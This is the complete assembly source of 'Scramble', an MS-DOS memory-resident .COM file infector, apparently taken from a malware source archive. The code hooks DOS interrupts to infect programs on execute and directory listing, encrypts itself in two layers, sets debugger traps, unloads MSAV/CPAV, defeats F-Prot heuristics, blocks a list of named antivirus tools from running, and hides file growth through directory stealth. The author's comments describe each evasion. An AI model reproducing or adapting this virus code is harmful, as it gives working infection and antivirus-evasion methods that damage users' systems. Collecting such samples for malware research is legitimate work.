MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.scramble.asm
2021-01-12 17:58:25 -06:00

645 lines
25 KiB
NASM

; SCRAMBLE --- Memory resident .COM infector.
;
; Uses many methods to slip through heuristic and standard virus scanners.
;
; #1 Pulls MSAV and CPAV out of memory.
; #2 Has self modifying JMP at the beginning to confuse TBAV
; #3 Has the anti-fprot code from YB-X inside.
; #4 Doesn't let many known AV products run. It doesn't delete them
; unlike earlier projects.
; #5 Includes filters in the infection process to exclude possible "bait"
; files.
; #6 Uses the System File Tables for infection. This is a beautiful method
; to get alot of file information quickly.
; #7 Utilizes directory stealth. (FCB only)
;
; Features: Infects on 11h, 12h, and 4Bh. (Directory and Execute)
;
; Also SCRAMBLE includes many debuggers traps. They are concentrated in
; the beginning.
;
; Nikademus [CrYpT]
; ^^^^^^^
; Smile Urnst....
;
; ********************** [Scramble] ***************************************
.radix 16
code segment
model small
assume cs:code, ds:code, es:code
org 100h
len equ offset last - start ; Shadows length
vir_len equ len / 16d ; paragraphs of memory needed
encryptlength equ (last - begin)/2+1 ; encrypt all but 3 bytes
start:
db 0BBh ; mov bx, xxxx
off_start: ;
dw offset begin ; this is fixed up during inf.
xor_start: ;
db 81h ; XOR WORD PTR [BX], ????h
db 37h ;
e_v: ;
dw 0000h ; encryption word
;
inc bx ;
inc bx ;
db 81h, 0FBh ; cmp bx, xxxx
off_last: ;
dw offset last ;
jng xor_start ;
begin:
jmp inner_loop
db 'BEER and TEQUILA forever !' ; I love a good joke...
inner_loop:
start_2:
mov bx, offset begin_2 ; Inner encryption loop
mov cx, (last - begin_2)/2+1 ;
xor ax, ax ;
mov es, ax ;
mov dx, es:[4*1] ; Save part of int 3
ax_encrypt: ;
mov ax, 0000h ; encryption word
encrypt_loop_2: ;
mov es:[4*1], cx ; save cx on part of int 3
xor cx, cx ; clear cx
xchg al, ah ; The purpose of this
xor word ptr [bx], ax ; encryption is to be
xchg al, ah ; a pain
sub bx, -2 ; for people wanting to
mov cx, es:[4*1] ; trace.
loop encrypt_loop_2 ;
begin_2:
mov es:[4*1], dx ; restore int 3
jmp virus
db '[Scramble] By Nikademus $'
db 'Read CRYPT Today!. $'
virus:
mov dx, 5945h ; pull CPAV (MSAV)
mov ax, 64001d ; out of memory
int 16h ; This also confused
; TBCLEAN
call bp_fixup ; bp fixup
bp_fixup: ;
pop bp ;
sub bp, offset bp_fixup ;
xor ax, ax ;
mov es, ax ;
mov cx, es:[4*01h+2] ; Installation Check
mov bx, es:[4*03h+2] ; int 01 and 03 are normally
cmp cx, bx ; equal. Shadow changes
je next_early ; int 3h.
jmp fix_host ;
next_early:
mov es:[4*3h], ax ;
mov es:[4*3h+2], ax ; zero out 1 and 3
mov es:[4*1h], ax ; Debugger fix...
mov es:[4*1h+2], ax ; We hatesss Debuggersss
; Don't we Preciousss.
; - Tolkien
call screw_fprot ; confusing f-protect's
call screw_fprot ; heuristic scanning
call screw_fprot ; Still effective as of
call screw_fprot ; version 2.10
call screw_fprot ;
call screw_fprot ; [cf] Crypt Newsletter 18
call screw_fprot ; for explanation &
call screw_fprot ; rationale
call screw_fprot ;
call screw_fprot ;
Memory_manipulation:
push cs ;
pop es ;
push cs ;
pop ds ;
mov bx,cs ; reduce memory size
dec bx ;
mov ds,bx ; My standard memory
cmp byte ptr ds:[0000],5a ; routine...
jne fix_host ;
mov bx,ds:[0003] ;
sub bx, 100h ; # of 16byte paragraphs
mov ds:0003,bx ; to grab (4k)
Mov_to_unused_memory:
xchg bx, ax ; copy self to the new
mov bx, es ; 'unused' part of memory
add bx, ax ; QEMM calls this area
mov es, bx ; unused when Shadow is
mov cx, len ; resident.
mov ax, ds ;
inc ax ;
mov ds, ax ;
lea si, ds:[offset start+bp] ;
lea di, es:0100 ;
rep movsb ;
Interrupt_Manipulation:
xor ax, ax
mov ds, ax
push ds
lds ax, ds:[21h*4] ; get int 21h
mov word ptr es:old_21h, ax ; save 21
mov word ptr es:old_21h+2, ds
mov bx, ds ; bx = ds
pop ds
mov word ptr ds:[3h*4], ax ; put old 21 in int 3h
mov word ptr ds:[3h*4+2], bx ;
mov word ptr ds:[21h*4], offset Scramble ; put self in 21
mov ds:[21h*4+2], es ;
fix_host:
push cs
pop ds
push cs
pop es
mov di,100h ; Replace overwritten bytes
push di ; Save the 100h
lea si, ds:[vict_head + bp] ;
mov cx, 25d ;
rep movsb ; Fix 'em
xor ax, ax ; Clean up after myself.
xor bx, bx ;
xor dx, dx ;
xor si, si ;
xor di, di ;
Bye_Bye:
ret ; Return to 100h
screw_fprot:
jmp $ + 2 ; Pseudo-nested calls to confuse
call screw2 ; f-protect's heuristic
call screw2 ; analysis
call screw2 ;
call screw2 ;
call screw2 ; These are straight from
ret ; YB-X.
screw2: ;
jmp $ + 2 ;
call screw3 ;
call screw3 ;
call screw3 ;
call screw3 ;
call screw3 ;
ret ;
screw3: ;
jmp $ + 2 ;
call screw4 ;
call screw4 ;
call screw4 ;
call screw4 ;
call screw4 ;
ret ;
screw4: ;
jmp $ + 2 ;
ret ;
vict_head db 90h, 0CDh, 20h, 90h, 90h, 90h, 90h, 90h, 90h, 90h
db 90h, 90h, 90h, 90h, 90h, 90h, 90h, 90h, 90h, 90h
db 90h, 90h, 90h, 90h, 90h
Scramble:
cmp ah, 11h ; Directory infect.
je d_h_1 ; + Stealth
cmp ah, 12h ; Directory infect.
je d_h_1 ; + Stealth
pushf ; Save all these
push ax ; registers.
push bx ;
push cx ;
push dx ;
push si ;
push di ;
push ds ;
push es ;
cmp ah, 4Bh ; Infect + AV filter
je infect ;
notforme:
pop es ; Goodbye cruel world
pop ds ; I'm leaving you today
pop di ; Goodbye
pop si ; ..
pop dx ; Goodbye
pop cx ; ..
pop bx ; ...goodbye
pop ax ; -Pink Floyd
popf ; (Well...Close)
big_jmp:
jmp dword ptr cs:[old_21h] ; This is The End.
d_h_1:
jmp dir_handler_1
infect:
mov word ptr cs:victim_name,dx
mov word ptr cs:victim_name+2,ds
cld
mov di,dx
push ds
pop es ; es:di -> name
mov al,'.' ; find the period
repne scasb ;
call name_tester
cmp ax, 0CCCCh ; DDDDh marks AV
je cont_inf ;
jmp notforme
cont_inf:
cmp word ptr es:[di], 'OC'
jne notforme
call HOOK_24
mov ax, 3D00h ; open read/only
lds dx, cs:[victim_name] ;
int 3h ;
jc notforme ; handle errors
xchg bx, ax ;
call infection_test ; is it infected?
cmp ax, 0CCCCh ; FFFF = infected
je continue_inf ; DDDD = don't infect
mov byte ptr es:[di+2], 00h ; mark it read/only
mov ax, 3E00h ; close file
int 3h ;
jmp notforme
continue_inf:
push cs ; infect 'em
pop es ;
call infect_victim ;
jmp notforme ;
infect_victim:
mov ah, 2Ch ; get random number
int 3h ; for encryption
or dx, dx ;
jz infect_victim ;
write_virus:
mov word ptr [offset e_v], dx
mov word ptr [offset e_value_1], dx
sub cx, dx
mov word ptr [offset ax_e], cx
xchg cl, ch
mov word ptr [offset ax_encrypt+1], cx
mov ax, [vict_size]
push ax
mov si, ax ; fix BX offset in head
add si, ((offset begin-offset start)+100h)
mov word ptr [off_start], si ; start of 'cryption
push si
add si, len
mov word ptr [off_last], si ; end of 'cryption
pop si
add si, (offset begin_2 - offset begin)
mov word ptr [offset start_2+1], si ; begin fixup #2
mov si, offset start ; copy virus to buffer
mov di, offset encryptbuffer ;
mov cx, last-start ;
rep movsb ;
pop ax
sub ax, 3d ; construct jump
mov word ptr [offset jmp_offset], ax ;
Encryptvirus_in_buffer:
push bx ; inner encryption
mov bx, offset encryptbuffer ;
add bx, (offset begin_2 - offset start) ;
mov cx, (last - begin_2)/2 +1 ;
e_loop_1: ;
db 81h ; XOR [bx]
db 37h ;
ax_e: ;
dw 0000h ; scrambler
add bx, 2 ;
loop e_loop_1 ; loop
mov bx, offset encryptbuffer ;
add bx, (offset begin - offset start) ; outer encryption
mov cx, (last - begin)/2 +1 ;
e_loop_2: ;
db 81h ; XOR [bx]
db 37h ;
e_value_1: ;
dw 0000h ; scrambler
add bx, 2 ;
loop e_loop_2 ; loop
pop bx
mov ah, 40h ; write virus
mov cx, last-start ;
mov dx, offset encryptbuffer ;
int 3h ;
mov ax, 4200h ; point to front
xor cx, cx ;
xor dx, dx ;
int 3h ;
mov ah, 40h ; write jump
mov dx, offset jmp_create ;
mov cx, 25d ;
int 3h ;
restore_date_time:
mov dx, word ptr [date] ; Date
mov cx, word ptr [time] ; Time
mov ax,5701h ;
int 3h
fix_attribs:
mov ax, 3E00h ; close
int 3h ;
mov ax, 4301h ; Restore old attributes
mov cl, byte ptr [attrib] ;
lds dx, cs:victim_name ;
int 3h ;
ret ; Leave this sub-routine
dir_handler_1:
pushf ;
db 9Ah ; Call to
old_21h dd ? ; old int 21 vector
cmp al, 0FFh ; Find something?
jnz next_dir_1 ;
iret ;
next_dir_1:
pushf
push ax ; save registers.
push bx ;
push cx ;
push dx ;
push ds ;
push es ;
push si ;
push di ;
mov ah, 2Fh ; Get DTA
int 3h ; es:bx -> DTA
push es ;
pop ds ; ds = es
cmp byte ptr [bx], 0FFh ; Extended FCB?
jnz not_extended ;
add bx, 7h ;
not_extended:
push cs ; restore es
pop es ;
cld
lea di, [victim_name] ; Dark Angel's code
lea si, [bx+1] ; to turn FCB string
mov cx, 8d ; into an ASCIIZ string
space_finder:
cmp byte ptr ds:[si], ' ' ; find the first space
jz space_found ;
movsb ;
loop space_finder ;
space_found:
mov al, '.' ; copy the period
stosb ;
mov ax, 'OC' ; test for (CO)M extention
lea si, [bx+9] ;
cmp word ptr [si], ax ;
jnz not_com ;
stosw
mov al, 'M' ; Is it an CO(M)
cmp byte ptr [si+2], al ;
jnz not_com ;
stosb
mov al, 0 ; end of string byte
stosb ; NULL for C people
push ds ;
pop es ; es = ds
push cs ;
pop ds ; restore ds
xchg di, bx ; es:di points to the DTA
mov ax, 3D00h ; open read/only
lea dx, [victim_name] ;
int 3h ; changes to r/w in the
jc not_com ; system file table
xchg ax, bx ;
push es
push di
push ds
call infection_test ; is it infected?
cmp ax, 0CCCCh ; FFFF = infected
je continue_dir ;
mov byte ptr es:[di+2], 00h ; mark it read/only
push ax
mov ax, 3E00h ; close file
int 3h ;
pop ax ; Save these
pop ds ;
pop di ;
pop es ;
cmp ax, 0DDDDh ; not infected, but
je not_com ; don't infect. IMPORTANT!
mov ax, es:[di+29d]
sub ax, len ; directory stealth
mov es:[di+29d], ax ;
not_com: ; . . .
pop di ; . . . .
pop si ; . . . .
pop es ; . . . .
pop ds ; . . . .
pop dx ; . .
pop cx ; . . . .
pop bx ; . . . .
pop ax ; . . . .
popf ; . . . .
iret ; . . .
continue_dir:
pop ds ; Actually get around to infecting
push cs ; the poor little file.
pop es ;
call infect_victim ;
pop di ;
pop es ;
jmp not_com ;
new_24h:
mov al,3 ; Error (Mis)handler
iret ;
name_tester:
cmp word ptr es:[di-3],'MI' ;Integrity Master
je AV ;*IM
cmp word ptr es:[di-3],'XR' ;*rx
je AV ;
cmp word ptr es:[di-3],'PO' ;*STOP
jne next1 ;(VIRSTOP)
cmp word ptr es:[di-5],'TS' ;
je AV ;
next1: cmp word ptr es:[di-3],'VA' ;*AV i.e. cpav
je AV ;(TBAV) (MSAV)
cmp word ptr es:[di-3],'TO' ;*prot f-prot
jne next2 ;
cmp word ptr es:[di-5],'RP' ;
jne next2 ;
AV: jmp AV_Detected ; must be equal
next2: cmp word ptr es:[di-3],'NA' ;*scan McAffee's
jne next3 ;(TBSCAN)
cmp word ptr es:[di-5],'CS' ;
je AV_Detected ;
cmp word ptr es:[di-3],'NA' ;*lean CLEAN..
jne next3 ; why not eh?
cmp word ptr es:[di-5],'EL' ;(TBCLEAN)
je AV_Detected ;
next3: cmp word ptr es:[di-3],'CV' ; Victor Charlie
je AV_Detected ; default *VC
cmp word ptr es:[di-3],'KC' ; VCHECK
jne next4 ; (Victor Charlie)
cmp word ptr es:[di-5],'EH' ; (TBCHECK) *HECK
je AV_Detected ;
next4:
cmp word ptr es:[di-3],'ME' ; TBMEM
jne next5 ; *BMEM
cmp word ptr es:[di-5],'MB' ;
je AV_Detected ;
next5:
cmp word ptr es:[di-3],'XN' ; TBSCANX
jne next6 ; *CANX
cmp word ptr es:[di-5],'AC' ;
je AV_Detected ;
next6:
cmp word ptr es:[di-3],'EL' ; TBFILE
jne next7 ; *FILE
cmp word ptr es:[di-5],'IF' ;
je AV_Detected ;
next7:
cmp word ptr es:[di-3],'KS' ; CHKDSK
jne next8 ; *KDSK
cmp word ptr es:[di-5],'DK' ; chkdsk finds false errors
je AV_Detected ; with directory stealth
next8:
mov ax, 0CCCCh ; Flag NON-AV
ret ;
AV_Detected:
mov word ptr es:[di-1], 2020h ; Screw up the search
mov word ptr es:[di+1], 2020h ; clear the .XXX
mov ax, 0DDDDh ; Flag AV
ret ;
HOOK_24: ; hook interrupt 24
push ds ; by direct writes to
push dx ; the
push ax ; interrupt vector
push es ; table
xor ax, ax ;
mov ds, ax ; DOS will fix it back
mov dx, offset new_24h ; all by itself.
mov word ptr ds:[24h*4], dx ; For once, I like what
mov word ptr ds:[24h*4+2], es ; DOS does.
pop es ;
pop ax ;
pop dx ;
pop ds ;
ret ;
infection_test: ; assume file
push cs ; open
pop es ; and bx is handle
push cs
pop ds
push bx ;
mov ax, 1220h ; Get Job File Table
int 2Fh ;
jc error_out ;
mov bl, es:di ;
mov ax, 1216h ; Get System File Table
int 2Fh ; For my file.
jc error_out ;
pop bx
mov byte ptr es:[di+2], 02h ; change to read/write
mov ax, word ptr es:[di + 0Dh] ; get time
mov cs:[time], ax ;
mov ax, word ptr es:[di + 0Fh] ; get date
mov cs:[date], ax ;
mov al, byte ptr es:[di + 04h] ; get attribs
mov cs:[attrib], al ;
mov ax, es:[di + 11h]
cmp ax, 1000d ; size filter
jb filter_error ; only infect files bigger
mov ax, 3F00h ; read in 25 bytes
mov cx, 25d ;
mov dx, offset vict_head ;
int 3h ;
jc error_out ;
; Looking for possible BAIT files.
mov ah, byte ptr cs:[vict_head] ;
cmp ah, 90h ; nop test
je filter_error ;
cmp ah, 0CDh ; INT test
je filter_error ;
mov ax, word ptr cs:[vict_head+1] ;
cmp ah, 0CDh ; INT test
je filter_error ;
cmp al, 0CDh ; INT test
je filter_error ;
mov ax, 4200h ; point to beginning
xor cx, cx ; could have used SFT
xor dx, dx ;
int 3h ;
mov ax, 4202h ; point to end
int 3h ;
mov cs:[vict_size], ax ; infection check
mov cx, word ptr cs:[vict_head] ;
mov ax, 0CCBAh ; me..
cmp ax, cx ;
jnz not_infected ;
error_out:
mov ax, 0FFFFh ; FF = infected
ret ;
filter_error:
mov ax, 0DDDDh ; not infected
ret ; and DONT infect
not_infected:
mov ax, 0CCCCh ; not infected
ret
jmp_create db 0BAh, 0CCh, 0CCh, 0C6h, 06h, 00h, 01h, 0E9h, 0B8h
db 2Eh, 01h, 0BBh, 01h, 01h, 2Dh, 03h, 01h, 33h, 0C1h
db 0C7h, 07h
jmp_offset db 2Bh, 00h
db 0EBh, 0E7h
last: ; -=< end of encryption. >=-
; The heap........ junk not needed in main program
date dw 00h, 00h
victim_name dd ?
time dw 00h, 00h
attrib db ?
vict_size dw 00h, 00h
encryptbuffer db (last-start)+1 dup (?)
code ends
end start